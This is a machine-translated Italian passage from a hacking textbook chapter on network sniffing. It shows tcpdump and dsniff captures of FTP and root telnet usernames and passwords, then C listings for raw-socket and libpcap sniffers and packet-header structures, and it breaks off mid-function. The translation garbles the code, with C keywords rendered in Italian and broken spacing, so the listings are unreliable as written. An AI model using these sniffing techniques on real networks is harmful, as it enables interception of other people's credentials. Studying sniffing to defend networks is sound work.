Pacchetti RX: 17181 errori: 0 eliminati: 0 overruns: 0 frame: 0
Pacchetti TX: 1927 errori: 0 eliminati: 0 sovraccarichi: 0 portante: 0
collisioni: 0 txqueuelen: 1000
Byte RX: 4668475 (4,4 MiB) Byte TX: 434449 (424,2 KiB)

224 0x400

Pagina 239

Interrupt: 16 Indirizzo di base: 0x2024

lettore @ hacking: ~ / booksrc $

L'atto di acquisire pacchetti che non sono necessariamente destinati alla visualizzazione pubblica-
ing si chiama sniffing . Sniffing pacchetti in modalità promiscua su un non commutato
la rete può fornire tutti i tipi di informazioni utili, come il seguente output
Spettacoli.

reader @ hacking: ~ / booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118'


tcpdump: ascolto su eth0
21: 27: 44.684964 192.168.0.118.ftp> 192.168.0.193.32778: P 1:42 (41) ack 1 vittoria
17316 <nop, nop, timestamp 466808 920202> (DF)
0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E ..]. E @ ........ v
0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........) .. s ^ ...
0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C .. / ......... x
0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 .... 220.TYPSoft.
0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99.
0x0050 3133 13
21: 27: 44.685132 192.168.0.193.32778> 192.168.0.118.ftp:. ack 42 win 5840
<nop, nop, timestamp 920662 466808> (DF) [tos 0x10]
0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o @. @.! .....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ... v .... ^ ...) ...
0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ............... V
0x0030 0007 1f78 ...X
21: 27: 52.406177 192.168.0.193.32778> 192.168.0.118.ftp: P 1:13 (12) ack 42 vittoria
5840 <nop, nop, timestamp 921434 466808> (DF) [tos 0x10]
0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E .. @. P @. @.! .....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ... v .... ^ ...) ...
0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ............... Z
0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ... xUSER. sanguisuga ..
21: 27: 52.415487 192.168.0.118.ftp> 192.168.0.193.32778: P 42:76 (34) ack 13
win 17304 <nop, nop, timestamp 466885 921434> (DF)
0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V .. @ .... m ... v
0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........) ... ^ ...
0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..CN, ..........
0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ... Z331.Password
0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le
0x0050 6563 ec
21: 27: 52.415832 192.168.0.193.32778> 192.168.0.118.ftp:. ack 76 win 5840
<nop, nop, timestamp 921435 466885> (DF) [tos 0x10]
0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q @. @.! .....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ... v .... ^ ...) ...
0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b .... ~ [......... [
0x0030 0007 1fc5 ....
21: 27: 56.155458 192.168.0.193.32778> 192.168.0.118.ftp: P 13:27 (14) ack 76
win 5840 <nop, nop, timestamp 921809 466885> (DF) [tos 0x10]
0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..Br @. @.! .....
0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ... v .... ^ ...) ...
0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................
0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASSAGGIO. l8 @ nite
0x0040 0d0a ..
21: 27: 56.179427 192.168.0.118.ftp> 192.168.0.193.32778: P 76: 103 (27) ack 27
win 17290 <nop, nop, timestamp 466923 921809> (DF)
0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O .. @ .... T ... v
0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........) ... ^ ...

Networking 225

Pagina 240

0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..CL ..........
0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 .... 230.User.lee
0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in ...

I dati trasmessi sulla rete da servizi come telnet, FTP e


POP3 non è crittografato. Nell'esempio precedente, la sanguisuga utente viene visualizzata durante la registrazione
in un server FTP utilizzando la password l8 @ nite . Poiché il processo di autenticazione
cesso durante l'accesso è anche non crittografato, i nomi utente e le password sono semplicemente
contenuto nelle porzioni di dati dei pacchetti trasmessi.
tcpdump è un meraviglioso sniffer di pacchetti generico, ma ci sono
strumenti di sniffing specializzati progettati specificamente per la ricerca di nomi utente e
Le password. Un esempio notevole è il programma di Dug Song, dsniff , che è
abbastanza intelligente da analizzare i dati che sembrano importanti.

lettore @ hacking: ~ / booksrc $ sudo dsniff -n


dsniff: ascolto su eth0
-----------------
12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)
USER leech
PASS l8 @ nite

-----------------
12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet)
UTENTE root
PASSA 5eCr3t

0x441 Raw Socket Sniffer


Finora nei nostri esempi di codice abbiamo utilizzato stream socket. quando
inviando e ricevendo utilizzando stream socket, i dati sono ordinatamente racchiusi in un file
Connessione TCP / IP. Accedendo al modello OSI del livello session (5), il file
il sistema operativo si occupa di tutti i dettagli di trasmissione di livello inferiore,
correzione e instradamento. È possibile accedere alla rete a livelli inferiori
utilizzando prese prime. A questo livello inferiore, tutti i dettagli sono esposti e devono esserlo
gestito esplicitamente dal programmatore. I socket non elaborati vengono specificati utilizzando
SOCK_RAW come tipo. In questo caso, il protocollo è importante poiché ce ne sono più
opzioni. Il protocollo può essere IPPROTO_TCP , IPPROTO_UDP o IPPROTO_ICMP . Il
L'esempio seguente è un programma di sniffing TCP che utilizza socket non elaborati.

raw_tcpsniff.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys / socket.h>
#include <netinet / in.h>
#include <arpa / inet.h>

#include "hacking.h"

int main (void) {


int i, recv_length, sockfd;

226 0x400

Pagina 241

buffer u_char [9000];

if ((sockfd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)


fatale ("in socket");
for (i = 0; i <3; i ++) {
recv_length = recv (sockfd, buffer, 8000, 0);
printf ("Ho un pacchetto di% d byte \ n", lunghezza_recv);
dump (buffer, recv_length);
}
}

Questo programma apre un socket TCP grezzo e ascolta tre pacchetti, stampa-
ing i dati grezzi di ciascuno con la funzione dump () . Notare che il buffer è
dichiarato come una variabile u_char . Questa è solo una definizione del tipo di convenienza da
sys / socket.h che si espande in "unsigned char." Questo è per comodità, da allora
le variabili senza segno vengono utilizzate molto nella programmazione e nella digitazione di rete
non firmatoogni volta è un dolore.
Quando viene compilato, il programma deve essere eseguito come root, perché l'uso di
dei socket non elaborati richiede l'accesso come root. L'output seguente mostra il programma
annusando la rete mentre inviamo testo di esempio al nostro simple_server.

reader @ hacking: ~ / booksrc $ gcc -o raw_tcpsniff raw_tcpsniff.c


lettore @ hacking: ~ / booksrc $ ./raw_tcpsniff
[!!] Errore irreversibile nel socket: operazione non consentita
lettore @ hacking: ~ / booksrc $ sudo ./raw_tcpsniff
Ho un pacchetto da 68 byte
45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6 @. @. F # .. *.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | .. * ........... l.
80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | .... 2G ...... & ...
02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .; e. questo è un te
73 74 0d 0a | st ..
Ho un pacchetto da 70 byte
45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7 @. @. F .. *.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | .. * ........... l.
80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'....... & .. u
02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | . <. (AAAAAAAAAAAA
41 41 41 41 0d 0a | AAAA ..
Ho un pacchetto da 71 byte
45 10 00 47 1e 38 40 00 40 06 46 1e c0 a8 2a 01 | E..G.8 @. @. F ... *.
c0 a8 2a f9 8b 12 1e d2 ac 14 cf b4 e5 10 6c c9 | .. * ........... l.
80 18 05 b4 68 45 00 00 01 01 08 0a 26 ab b6 e7 | .... he ...... & ...
02 3c 20 ad 66 6a 73 64 61 6c 6b 66 6a 61 73 6b | . <.fjsdalkfjask
66 6a 61 73 64 0d 0a | fjasd ..
lettore @ hacking: ~ / booksrc $

Sebbene questo programma catturi i pacchetti, non è affidabile e mancherà


alcuni pacchetti, soprattutto quando c'è molto traffico. Inoltre, cattura solo
Pacchetti TCP: per acquisire pacchetti UDP o ICMP, sono necessari socket raw aggiuntivi
da aprire per ciascuno. Un altro grosso problema con i socket raw è che lo sono
notoriamente incoerente tra i sistemi. Codice socket grezzo per la maggior parte di Linux
probabilmente non funzionerà su BSD o Solaris. Questo rende la programmazione multipiattaforma
con prese grezze quasi impossibile.

Networking 227

Pagina 242

0x442 libpcap Sniffer


Una libreria di programmazione standardizzata chiamata libpcap può essere utilizzata per smussare
fuori le incongruenze dei socket grezzi. Le funzioni in questa libreria usano ancora
socket raw per fare la loro magia, ma la libreria sa come funzionare correttamente
con socket raw su più architetture. Sia tcpdump che dsniff usano
libpcap, che consente loro di compilare con relativa facilità su qualsiasi piattaforma.
Riscriviamo il programma sniffer di pacchetti grezzi usando le funzioni di libpcap
invece del nostro. Queste funzioni sono abbastanza intuitive, quindi discuteremo
utilizzando il seguente listato di codice.

pcap_sniff.c

#include <pcap.h>
#include "hacking.h"

void pcap_fatal (const char * failed_in, const char * errbuf) {


printf ("Errore irreversibile in% s:% s \ n", failed_in, errbuf);
uscita (1);
}

Innanzitutto, pcap.h è incluso fornendo varie strutture e definizioni usate da


le funzioni pcap. Inoltre, ho scritto una funzione pcap_fatal () per la visualizzazione
errori fatali. Le funzioni pcap utilizzano un buffer degli errori per restituire l'errore e lo stato
messaggi, quindi questa funzione è progettata per visualizzare questo buffer all'utente.

int main () {
intestazione struct pcap_pkthdr;
const u_char * pacchetto;
char errbuf [PCAP_ERRBUF_SIZE];
char * dispositivo;
pcap_t * pcap_handle;
int i;

La variabile errbuf è il suddetto buffer di errore, la cui dimensione sta arrivando


da una definizione in pcap.h impostata su 256 . La variabile di intestazione è una struttura pcap_pkthdr
contenente informazioni di acquisizione aggiuntive sul pacchetto, ad esempio quando era
catturato e la sua lunghezza. Il puntatore pcap_handle funziona in modo simile a un file
descrittore, ma viene utilizzato per fare riferimento a un oggetto che cattura i pacchetti.

dispositivo = pcap_lookupdev (errbuf);


if (dispositivo == NULL)
pcap_fatal ("pcap_lookupdev", errbuf);

printf ("Sniffing sul dispositivo% s \ n", dispositivo);

La funzione pcap_lookupdev () cerca un dispositivo adatto su cui annusare. Questo


device viene restituito come puntatore a stringa che fa riferimento alla memoria di funzioni statiche. Per
il nostro sistema sarà sempre / dev / eth0 , anche se sarà diverso su un BSD
sistema. Se la funzione non riesce a trovare un'interfaccia adatta, restituirà NULL .

228 0x400
Pagina 243

pcap_handle = pcap_open_live (dispositivo, 4096, 1, 0, errbuf);


if (pcap_handle == NULL)
pcap_fatal ("pcap_open_live", errbuf);

Simile alla funzione socket e alla funzione di apertura file, pcap_open_live ()


la funzione apre un dispositivo di cattura dei pacchetti, restituendogli un handle. L'argu
per questa funzione sono il dispositivo da annusare, la dimensione massima del pacchetto, a
flag promiscuo, un valore di timeout e un puntatore al buffer degli errori. Da quando noi
desidera acquisire in modalità promiscua, il flag promiscuo è impostato su 1 .

for (i = 0; i <3; i ++) {


pacchetto = pcap_next (pcap_handle, & header);
printf ("Ho un pacchetto di% d byte \ n", header.len);
dump (pacchetto, header.len);
}
pcap_close (pcap_handle);
}

Infine, il ciclo di acquisizione dei pacchetti utilizza pcap_next () per acquisire il pacchetto successivo.
A questa funzione viene passato il pcap_handle e un puntatore a una struttura pcap_pkthdr
in modo che possa riempirlo con i dettagli della cattura. La funzione restituisce un puntatore
al pacchetto e quindi stampa il pacchetto, ottenendo la lunghezza dalla cattura
intestazione. Quindi pcap_close () chiude l'interfaccia di cattura.
Quando questo programma viene compilato, le librerie pcap devono essere collegate. Questo
può essere fatto usando il flag -l con GCC, come mostrato nell'output sotto. Il
La libreria pcap è stata installata su questo sistema, quindi la libreria e include i file
sono già in posizioni standard conosciute dal compilatore.

lettore @ hacking: ~ / booksrc $ gcc -o pcap_sniff pcap_sniff.c


/tmp/ccYgieqx.o: Nella funzione `main ':
pcap_sniff.c :(. text + 0x1c8): riferimento non definito a `pcap_lookupdev '
pcap_sniff.c :(. text + 0x233): riferimento indefinito a `pcap_open_live '
pcap_sniff.c :(. text + 0x282): riferimento indefinito a `pcap_next '
pcap_sniff.c :(. text + 0x2c2): riferimento non definito a `pcap_close '
collect2: ld ha restituito 1 stato di uscita
reader @ hacking: ~ / booksrc $ gcc -o pcap_sniff pcap_sniff.c -l pcap
lettore @ hacking: ~ / booksrc $ ./pcap_sniff
Errore irreversibile in pcap_lookupdev: nessun dispositivo adatto trovato
lettore @ hacking: ~ / booksrc $ sudo ./pcap_sniff
Sniffing sul dispositivo eth0
Ho un pacchetto da 82 byte
00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P ..). e ... E.
00 44 1e 39 40 00 40 06 46 20 c0 a8 2a 01 c0 a8 | .D.9 @. @. F .. * ...
2a f9 8b 12 1e d2 ac 14 cf c7 e5 10 6c c9 80 18 | * ........... l ...
05 b4 54 1a 00 00 01 01 08 0a 26 b6 a7 76 02 3c | ..T ....... & .. v. <
37 1e 74 68 69 73 20 69 73 20 61 20 74 65 73 74 | 7.questo è un test
0d 0a | ..
Ho un pacchetto da 66 byte
00 01 29 15 65 b6 00 01 6c eb 1d 50 08 00 45 00 | ..). e ... l..P..E.
00 34 3d 2c 40 00 40 06 27 4d c0 a8 2a f9 c0 a8 | .4 =, @. @. 'M .. * ...
2a 01 1e d2 8b 12 e5 10 6c c9 ac 14 cf d7 80 10 | * ....... l .......

Networking 229

Pagina 244

05 a8 2b 3f 00 00 01 01 08 0a 02 47 27 6c 26 b6 | .. +? ....... G'l &.


a7 76 | .v
Ho un pacchetto da 84 byte
00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P ..). e ... E.
00 46 1e 3a 40 00 40 06 46 1d c0 a8 2a 01 c0 a8 | F.: @. @. F ... * ...
2a f9 8b 12 1e d2 ac 14 cf d7 e5 10 6c c9 80 18 | * ........... l ...
05 b4 11 b3 00 00 01 01 08 0a 26 b6 a9 c8 02 47 | .......... e .... G
27 6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | 'lAAAAAAAAAAAAAA
41 41 0d 0a | AA..
lettore @ hacking: ~ / booksrc $

Notare che ci sono molti byte che precedono il testo di esempio nel pacchetto
e molti di questi byte sono simili. Poiché si tratta di acquisizioni di pacchetti non elaborati, la maggior parte dei file
di questi byte sono livelli di informazioni di intestazione per Ethernet, IP e TCP.

0x443 Decodifica dei livelli


Nelle nostre acquisizioni di pacchetti, il livello più esterno è Ethernet, che è anche il
strato visibile più basso. Questo livello viene utilizzato per inviare dati tra le estremità Ethernet
punti con indirizzi MAC. L'intestazione di questo livello contiene la sorgente
Indirizzo MAC, indirizzo MAC di destinazione e un valore a 16 bit che descrive
il tipo di pacchetto Ethernet. In Linux, la struttura per questa intestazione è definita
in /usr/include/linux/if_ethernet.he le strutture per l'intestazione IP e
L'intestazione TCP si trova in /usr/include/netinet/ip.he / usr / include /
netinet / tcp.h, rispettivamente. Anche il codice sorgente di tcpdump ha delle strutture
per queste intestazioni, oppure potremmo semplicemente creare le nostre strutture di intestazione basate su
sulle RFC. Una migliore comprensione può essere ottenuta scrivendo il nostro
strutture, quindi usiamo le definizioni della struttura come guida per creare il nostro
proprie strutture di intestazione dei pacchetti da includere in hacking-network.h.
Per prima cosa, diamo un'occhiata alla definizione esistente dell'intestazione Ethernet.

Da /usr/include/if_ether.h

#define ETH_ALEN 6 / * Ottetti in un indirizzo ethernet * /


#define ETH_HLEN 14 / * Totale ottetti nell'intestazione * /

/*
* Questa è un'intestazione di frame Ethernet.
*/

struct ethhdr {
char non firmato h_dest [ETH_ALEN]; / * Indirizzo eth di destinazione * /
char non firmato h_source [ETH_ALEN]; / * Source ether addr * /
__be16 h_proto; / * Campo ID tipo pacchetto * /
} __attribute __ ((impacchettato));

Questa struttura contiene i tre elementi di un'intestazione Ethernet. Il


la dichiarazione di variabile di __be16 risulta essere una definizione di tipo per un 16 bit
intero breve senza segno. Questo può essere determinato da grepping per
la definizione del tipo nei file include.

230 0x400

Pagina 245

lettore @ hacking: ~ / booksrc $


$ grep -R "typedef. * __ be16" / usr / include
/usr/include/linux/types.h:typedef __u16 __bitwise __be16;

$ grep -R "typedef. * __ u16" / usr / include | grep short


/usr/include/linux/i2o-dev.h:typedef unsigned short __u16;
/usr/include/linux/cramfs_fs.h:typedef unsigned short __u16;
/usr/include/asm/types.h:typedef unsigned short __u16;
$

Il file include definisce anche la lunghezza dell'intestazione Ethernet in ETH_HLEN come


14 byte. Ciò si somma, poiché vengono utilizzati gli indirizzi MAC di origine e di destinazione
6 byte ciascuno e il campo del tipo di pacchetto è un numero intero breve a 16 bit che occupa
2 byte. Tuttavia, molti compilatori riempiranno le strutture lungo i limiti di 4 byte
per l'allineamento, il che significa che sizeof (struct ethhdr) restituirà un
dimensione errata. Per evitare ciò, ETH_HLEN o un valore fisso di 14 byte dovrebbero
essere utilizzato per la lunghezza dell'intestazione Ethernet.
Includendo <linux / if_ether.h> , questi altri includono file contenenti
è inclusa anche la definizione di tipo richiesta __be16 . Dal momento che vogliamo fare
le nostre strutture per hacking-network.h, dovremmo eliminare i riferimenti a
definizioni di tipo sconosciuto. Già che ci siamo, diamo a questi campi nomi migliori.

Aggiunto a hacking-network.h

#define ETHER_ADDR_LEN 6
#define ETHER_HDR_LEN 14

struct ether_hdr {
carattere non firmato ether_dest_addr [ETHER_ADDR_LEN]; // Indirizzo MAC di destinazione
carattere non firmato ether_src_addr [ETHER_ADDR_LEN]; // Indirizzo MAC di origine
ether_type corto senza segno; // Tipo di pacchetto Ethernet
};

Possiamo fare la stessa cosa con le strutture IP e TCP, usando l'estensione


strutture corrispondenti e diagrammi RFC come riferimento.

Da /usr/include/netinet/ip.h

struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ihl: 4;
versione int senza segno: 4;
#elif __BYTE_ORDER == __BIG_ENDIAN
versione int senza segno: 4;
unsigned int ihl: 4;
#altro
# errore "Correggi <bits / endian.h>"
#finisci se
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;

Networking 231

Pagina 246

u_int16_t frag_off;
u_int8_t ttl;
protocollo u_int8_t;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/ * Le opzioni iniziano qui. * /
};

Da RFC 791

0 1 2 3
01234567890123456789012345678901
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Versione | IHL | Tipo di servizio | Lunghezza totale |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identificazione | Bandiere | Frammento Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| È ora di vivere | Protocollo | Checksum intestazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Indirizzo di partenza |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Indirizzo di destinazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Opzioni | Imbottitura |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Esempio di intestazione di datagramma Internet

Ogni elemento nella struttura corrisponde ai campi mostrati nel file


Diagramma dell'intestazione RFC. Poiché i primi due campi, Versione e IHL (Internet
Header Length) hanno una dimensione di soli quattro bit e non ci sono variabili a 4 bit
tipi in C, la definizione dell'intestazione di Linux divide il byte in modo diverso a seconda
nell'ordine dei byte dell'host. Questi campi sono nell'ordine dei byte di rete, quindi,
se l'host è little-endian, l'IHL dovrebbe precedere la versione a partire dal byte
l'ordine è invertito. Per i nostri scopi, non useremo nessuno di questi
campi, quindi non abbiamo nemmeno bisogno di dividere il byte.

Aggiunto a hacking-network.h

struct ip_hdr {
char non firmato ip_version_and_header_length; // Versione e lunghezza dell'intestazione
char non firmato ip_tos; // Tipo di servizio
ip_len breve non firmato; // Lunghezza totale
ip_id breve non firmato; // Numero identificativo
ip_frag_offset breve non firmato; // Offset e flag del frammento
char non firmato ip_ttl; // Tempo di vivere
char non firmato ip_type; // Tipo di protocollo
ip_checksum breve non firmato; // Checksum
unsigned int ip_src_addr; // Indirizzo IP di origine
unsigned int ip_dest_addr; // Indirizzo IP di destinazione
};

232 0x400

Pagina 247

Il riempimento del compilatore, come accennato in precedenza, allineerà questa struttura


un confine di 4 byte riempiendo il resto della struttura. Le intestazioni IP sono sempre
20 byte.
Per l'intestazione del pacchetto TCP, facciamo riferimento a /usr/include/netinet/tcp.h
per la struttura e RFC 793 per il diagramma di intestazione.

Da /usr/include/netinet/tcp.h

typedef u_int32_t tcp_seq;


/*
* Intestazione TCP.
* Secondo RFC 793, settembre 1981.
*/
struct tcphdr
{
u_int16_t th_sport; / * porta di origine * /
u_int16_t th_dport; /* porto di destinazione */
tcp_seq th_seq; /* sequenza di numeri */
tcp_seq th_ack; / * numero di riconoscimento * /
# if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t th_x2: 4; / * (non utilizzato) * /
u_int8_t th_off: 4; / * offset dati * /
# finisci se
# if __BYTE_ORDER == __BIG_ENDIAN
u_int8_t th_off: 4; / * offset dati * /
u_int8_t th_x2: 4; / * (non utilizzato) * /
# finisci se
u_int8_t th_flags;
# definisce TH_FIN 0x01
# definisce TH_SYN 0x02
# definisce TH_RST 0x04
# definisce TH_PUSH 0x08
# definisce TH_ACK 0x10
# definisce TH_URG 0x20
u_int16_t th_win; /* finestra */
u_int16_t th_sum; / * checksum * /
u_int16_t th_urp; / * puntatore urgente * /
};

Da RFC 793

Formato intestazione TCP

0 1 2 3
01234567890123456789012345678901
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Porta di origine | Porto di destinazione |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequenza di numeri |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numero di riconoscimento |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Networking 233

Pagina 248

| Dati | |U|A|P|R|S|F| |
| Offset | Riservato | R | C | S | S | Y | I | Finestra |
|| |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Puntatore urgente |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Opzioni | Imbottitura |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| dati |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Offset dati: 4 bit


Il numero di parole a 32 bit nell'intestazione TCP. Questo indica dove
i dati iniziano. L'intestazione TCP (anche una che include le opzioni) è un file
numero intero di 32 bit.
Riservato: 6 bit
Riservato per uso futuro. Deve essere zero.
Opzioni: variabile

La struttura tcphdr di Linux cambia anche l'ordine dell'offset dei dati a 4 bit
campo e la sezione a 4 bit del campo riservato a seconda del byte dell'host
ordine. Il campo di offset dei dati è importante, poiché indica la dimensione della variabile-
intestazione TCP di lunghezza. Potresti aver notato che la struttura tcphdr di Linux
non risparmia spazio per le opzioni TCP. Questo perché l'RFC lo definisce
campo come facoltativo. La dimensione dell'intestazione TCP sarà sempre allineata a 32 bit e
l'offset dei dati ci dice quante parole a 32 bit ci sono nell'intestazione. Quindi il TCP
la dimensione dell'intestazione in byte è uguale al campo di offset dei dati dell'intestazione per quattro.
Poiché il campo di offset dei dati è necessario per calcolare la dimensione dell'intestazione, lo divideremo
il byte che lo contiene, assumendo l'ordinamento dei byte dell'host little-endian.
Il th_flags campo di Linux tcphdr struttura è definita come un 8-bit senza segno
carattere. I valori definiti sotto questo campo sono le maschere di bit che corrispondono
alle sei possibili bandiere.

Aggiunto a hacking-network.h

struct tcp_hdr {
short non firmato tcp_src_port; // Porta TCP di origine
short unsigned tcp_dest_port; // Porta TCP di destinazione
unsigned int tcp_seq; // Numero di sequenza TCP
unsigned int tcp_ack; // Numero di riconoscimento TCP
carattere non firmato riservato: 4; // 4 bit dai 6 bit di spazio riservato
carattere non firmato tcp_offset: 4; // Offset dati TCP per host little endian
carattere non firmato tcp_flags; // Flag TCP (e 2 bit dallo spazio riservato)
#define TCP_FIN 0x01
#define TCP_SYN 0x02
#define TCP_RST 0x04
#define TCP_PUSH 0x08
#define TCP_ACK 0x10
#define TCP_URG 0x20
tcp_window breve non firmato; // Dimensione della finestra TCP
tcp_checksum breve non firmato; // checksum TCP
tcp_urgent breve non firmato; // Puntatore urgente TCP
};

234 0x400

Pagina 249

Ora che le intestazioni sono definite come strutture, possiamo scrivere un programma
per decodificare le intestazioni a strati di ogni pacchetto. Ma prima di farlo, parliamo
su libpcap per un momento. Questa libreria ha una funzione chiamata pcap_loop () ,
che è un modo migliore per catturare i pacchetti rispetto al semplice loop su un pcap_next ()
chiamata. Pochissimi programmi usano effettivamente pcap_next () , perché è goffo e
inefficiente. La funzione pcap_loop () utilizza una funzione di callback. Questo significa
alla funzione pcap_loop () viene passato un puntatore a funzione, che viene chiamato ogni
volta che un pacchetto viene catturato. Il prototipo di pcap_loop () è il seguente:

int pcap_loop (pcap_t * handle, int count, pcap_handler callback, u_char * args);

Il primo argomento è l'handle del pcap, il successivo è un conteggio di come


molti pacchetti da catturare e il terzo è un puntatore a funzione per il callback
funzione. Se l'argomento count è impostato su -1 , verrà eseguito un ciclo fino al programma
ne esce fuori. L'argomento finale è un puntatore opzionale che otterrà
passato alla funzione di callback. Naturalmente, la funzione di callback deve
seguire un certo prototipo, poiché pcap_loop () deve chiamare questa funzione. Il
la funzione di callback può essere chiamata come preferisci, ma gli argomenti devono
essere il seguente:

void callback (u_char * args, const struct pcap_pkthdr * cap_header, const u_char * packet);

Il primo argomento è solo il puntatore dell'argomento opzionale dall'ultimo


argomento di pcap_loop () . Può essere utilizzato per passare informazioni aggiuntive a
funzione di callback, ma non la useremo. I prossimi due argomenti
dovrebbe essere familiare da pcap_next () : un puntatore all'intestazione di cattura e un file
puntatore al pacchetto stesso.
Il codice di esempio seguente utilizza pcap_loop () con una funzione di callback per
catturare i pacchetti e le nostre strutture di intestazione per decodificarli. Questo programma lo farà
essere spiegato come il codice è elencato.

decode_sniff.c

#include <pcap.h>
#include "hacking.h"
#include "hacking-network.h"

void pcap_fatal (const char *, const char *);


void decode_ethernet (const u_char *);
void decode_ip (const u_char *);
u_int decode_tcp (const u_char *);

void catch_packet (u_char *, const struct pcap_pkthdr *, const u_char *);

int main () {
struct pcap_pkthdr cap_header;
const u_char * packet, * pkt_data;
char errbuf [PCAP_ERRBUF_SIZE];
char * dispositivo;

Networking 235
Pagina 250

pcap_t * pcap_handle;

dispositivo = pcap_lookupdev (errbuf);


if (dispositivo == NULL)
pcap_fatal ("pcap_lookupdev", errbuf);

printf ("Sniffing sul dispositivo% s \ n", dispositivo);

pcap_handle = pcap_open_live (dispositivo, 4096, 1, 0, errbuf);


if (pcap_handle == NULL)
pcap_fatal ("pcap_open_live", errbuf);

pcap_loop (pcap_handle, 3, catch_packet, NULL);

pcap_close (pcap_handle);
}

All'inizio di questo programma, il prototipo della funzione di callback


zione, chiamata catch_packet () , viene dichiarata insieme a diverse funzioni di decodifica.
Tutto il resto in main () è fondamentalmente lo stesso, tranne per il ciclo for
stato sostituito con una singola chiamata a pcap_loop () . Questa funzione viene passata al
pcap_handle , ha detto di catturare tre pacchetti e ha indicato la funzione di callback
zione, catch_packet () . L'argomento finale è NULL , poiché non abbiamo alcuna aggiunta
dati nazionali da passare a catch_packet () . Inoltre, nota che decode_tcp ()
la funzione restituisce un u_int. Poiché la lunghezza dell'intestazione TCP è variabile, questa funzione
restituisce la lunghezza dell'intestazione TCP.

void catch_packet (u_char * user_args, const struct pcap_pkthdr * cap_header, const u_char
*pacchetto) {
